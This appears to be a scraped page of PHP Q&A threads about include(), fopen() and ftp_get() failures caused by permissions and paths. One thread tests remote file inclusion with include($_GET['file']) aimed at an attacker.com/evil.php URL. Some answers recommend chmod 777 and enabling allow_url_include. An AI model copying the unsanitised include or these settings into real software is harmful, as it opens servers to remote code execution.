Exec and Include function not working - php

I am trying to visualize a file file.txt via php. It is present in the same folder as the php code. this file is outcome of a perl program 1.pl
I am using the following code:
exec("perl C:/inetpub/wwwroot/1.pl arg1");
include("ctrlG.txt");
I have fast-cgi module activated on my server, which works fine otherwise.
Both the above are not executing.
It returns following Error:
PHP Warning:
include() [<a href='function.include'>function.include</a>]: Unable to access ctrlG.txt in C:\inetpub\wwwroot\upload_file.php on line ##.
PHP Warning:
include(ctrlG.txt) [<a href='function.include'>function.include</a>]: failed to open stream: Permission denied in C:\inetpub\wwwroot\upload_file.php on line ##.
PHP Warning:
include() [<a href='function.include'>function.include</a>]: Failed opening 'ctrlG.txt' for inclusion (include_path='.;C:\php\pear') in C:\inetpub\wwwroot\upload_file.php on line ##.
Please help to correct the code or any other problem.
OR
better methods to execute perl and visualize text files in browser using php.

Firstly, check the file you're looking for exists:
$file = 'ctrlG.txt';
if(!file_exists($file)) die("File '{$file}' does not exist");
Secondly, check if it is readable:
if(!is_readable($file)) die("File '{$file}' is not readable");
The most likely scenario is that the file exists and does not have readable permissions set so that apache (or whatever user your web server is running as) can read it.
Bear in mind that if you first ran this script through CLI (command-line interface) then the file generated will probably be owned by the user who ran the script - so apache may not be able to read this file for security reasons.
In Linux, you can change the file group and permissions to be readable by the apache user like so:
chgrp apache ctrlG.txt
chmod g+r ctrlG.txt

Related

Could not include file using PHP

I have an issue. I was testing how remote file inclusion injection and tried to include the file from URL query string using PHP. But here I am getting some warning messages. I am explaining my code below.
<?php
$file = $_GET['file'];
include($file);
?>
I am getting the following messages.
Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(http://attacker.com/evil.php): failed to open stream: no suitable wrapper could be found in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(): Failed opening 'http://attacker.com/evil.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/test/remote.php on line 3
Here I am calling remote file like this http://localhost/test/remote.php?file=http://kooleedback.com/about.php. Here I need to know how it can be successfully included and also how it can be prevented.
Your server has the allow_url_include option disabled. This means you can only access local files with include(), not external URLs.
In general it doesn't make sense to use include() with a remote .php URL. When you request a .php file from a server, it doesn't return the source code, it executes the script and returns the output. But include() needs to get PHP code, which it executes as if it were in the including script.
If you want to get that remote data you should use file_get_contents($file), not include($file).

PHP Warning: ftp_get(): failed to open stream: Permission denied

I have a problem with my ftp_get() and it really makes me confused.
I work on a local development (right now) and my FTP server is on my own computer. I want to upload/download files using FTP. I have yet managed to upload files with ftp_put(), it's ok. Now for downloading, I can change to the right directory of my FTP server, I can list the files via ftp_nlist(), it's OK for that, but when I do ftp_get(), my Apache log says me for [client 127.0.0.1]:
PHP Warning: ftp_get(): failed to open stream: Permission denied in /var/www/public_html/myfile.txt on line 62
PHP Warning: ftp_get(): Error opening myfile.txt in /var/www/public_html/myfile.txt on line 62
Line 62 is where I do my ftp_get, like this:
ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)
I've done a lot of searches and answers are always like "beware of the owner" or "beware of the chmod" but I can't figure out what really is the thing I need to do. The owner of the root directory of the FTP server is the same as the owner of the file I try to download. So I don't know what to do, I think there is something confused in my mind.

PHP Error - Can't Open Files

I am building a small PHP system, and I can't open files like CSS Styles, PHP Include function and Images.
I also got some errors:
Warning: include(includes/functions.php) [function.include]: failed to open stream: No such file or directory in /home/chezki/public_html/XXX.XXX/cp/CMS/index.php on line 2
Warning: include(includes/functions.php) [function.include]: failed to open stream: No such file or directory in /home/chezki/public_html/XXX.XXX/cp/CMS/index.php on line 2
Warning: include() [function.include]: Failed opening 'includes/functions.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/chezki/public_html/XXX.XXX/cp/CMS/index.php on line 2
Built by YYY.YYY
logo // Thats the Logo alt
Fatal error: Call to undefined function getlists() in /home/chezki/public_html/XXX.XXX/cp/CMS/index.php on line 28
Title Actions // Some images alt
Edit: On Windows, It is Ok, but on Linux, It is doing those errors
More edit: Solved
From your error messages, your script appears to be this:
/home/chezki/public_html/XXX.XXX/cp/CMS/index.php
Your are trying to load this file:
includes/functions.php
Since you get this error message:
No such file or directory
... the obvious conclusion is that this file does not exist:
/home/chezki/public_html/XXX.XXX/cp/CMS/includes/functions.php
Feel free to edit your question and provide more details if this is not the case.
Edit: the file must have that precise name. If it's called e.g. Functions.php, it's a different file.
You have permission problems. Your web server cannot read functions.php due to wrong permissions. Adjust permissions with chown and chmod.

PHP fopen() Error: failed to open stream: Permission denied

I learning how to write a WordPress plugin. I need some help writing some data to an XML file. I'm on my local machine, a Mac running MAMP. I have PHP 5.2.13. In my plugin, I've got:
$file_handle = fopen('markers.xml', 'w');
$stringdata = "Test Info";
fwrite($file_handle, $stringdata);
fclose($file_handle);
Running the above gives me the following error:
Warning: fopen(markers.xml) [function.fopen]: failed to open stream:
Permission denied in
/Users/my_name/Sites/my_site/wp-content/plugins/my_plugin_folder/my_plugin_main_file.php
on line 73
Warning: fwrite(): supplied argument is not a valid stream resource in
/Users/my_name/Sites/my_site/wp-content/plugins/my_plugin_folder/my_plugin_main_file.php
on line 75
Warning: fclose(): supplied argument is not a valid stream resource in
/Users/my_name/Sites/my_site/wp-content/plugins/my_plugin_folder/my_plugin_main_file.php
on line 76
I tried using the absolute path in the $file_handle line: http://my_site/wp-content/plugins/my_plugin_folder/markers.xml. But, that didn't work.
I also tried changing the permissions on markers.xml as follows:
(Me): Read & Write
(unknown): Read only
everyone: Read & Write
For some reason, my Mac wouldn't let me change (unknown) to Read & Write. I'm not sure if that makes a difference. I right-clicked on the file and selected 'Get Info' in order to change the permissions.
In phpInfo(), I've got:
"Registered PHP Streams https, ftps, compress.zlib, compress.bzip2, php, file, data, http, ftp"
Is a WordPress setting causing the problem? or is it just PHP issue?
Any suggestions on how to solve this problem?
Thank you.
You may need to change the permissions as an administrator. Open up terminal on your Mac and then open the directory that markers.xml is located in. Then type:
sudo chmod 777 markers.xml
You may be prompted for a password. Also, it could be the directories that don't allow full access. I'm not familiar with WordPress, so you may have to change the permission of each directory moving upward to the mysite directory.
[function.fopen]: failed to open stream
If you have access to your php.ini file, try enabling Fopen. Find the respective line and set it to be "on": & if in wp e.g localhost/wordpress/function.fopen in the php.ini :
allow_url_fopen = off
should bee this
allow_url_fopen = On
And add this line below it:
allow_url_include = off
should bee this
allow_url_include = on

Apache htdocs in folder with unicode name

I have my apache (for windows) htdocs in a folder like c:\anything1\怘怙怚怛\anything2. The problem is that in this case php won't execute any scripts from here and will display an error message like this:
`Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0
Fatal error: Unknown: Failed opening required 'c:/anything1/怘怙怚怛/anything2/index.php' (include_path='.;C:\php5\pear') in Unknown on line 0
`
If I try to open a html file, it is served by apache, so it seems that the problem appears only with php.
Do you have an idea how to solve this?
I may be wrong but I'd say you can't do it without patching PHP. Apache (or the PHP apache handler) passes PHP a path encoded in UTF-8 and PHP ultimately relies on the ANSI version of FindFirstFile (and you cannot set a UTF-8 codepage).
I suggest you submit a bug report.
i have same problem,
Read more # http://www.oneminuteinfo.com/2011/02/solve-php-failed-to-open-stream-error.html
it may be help you

Categories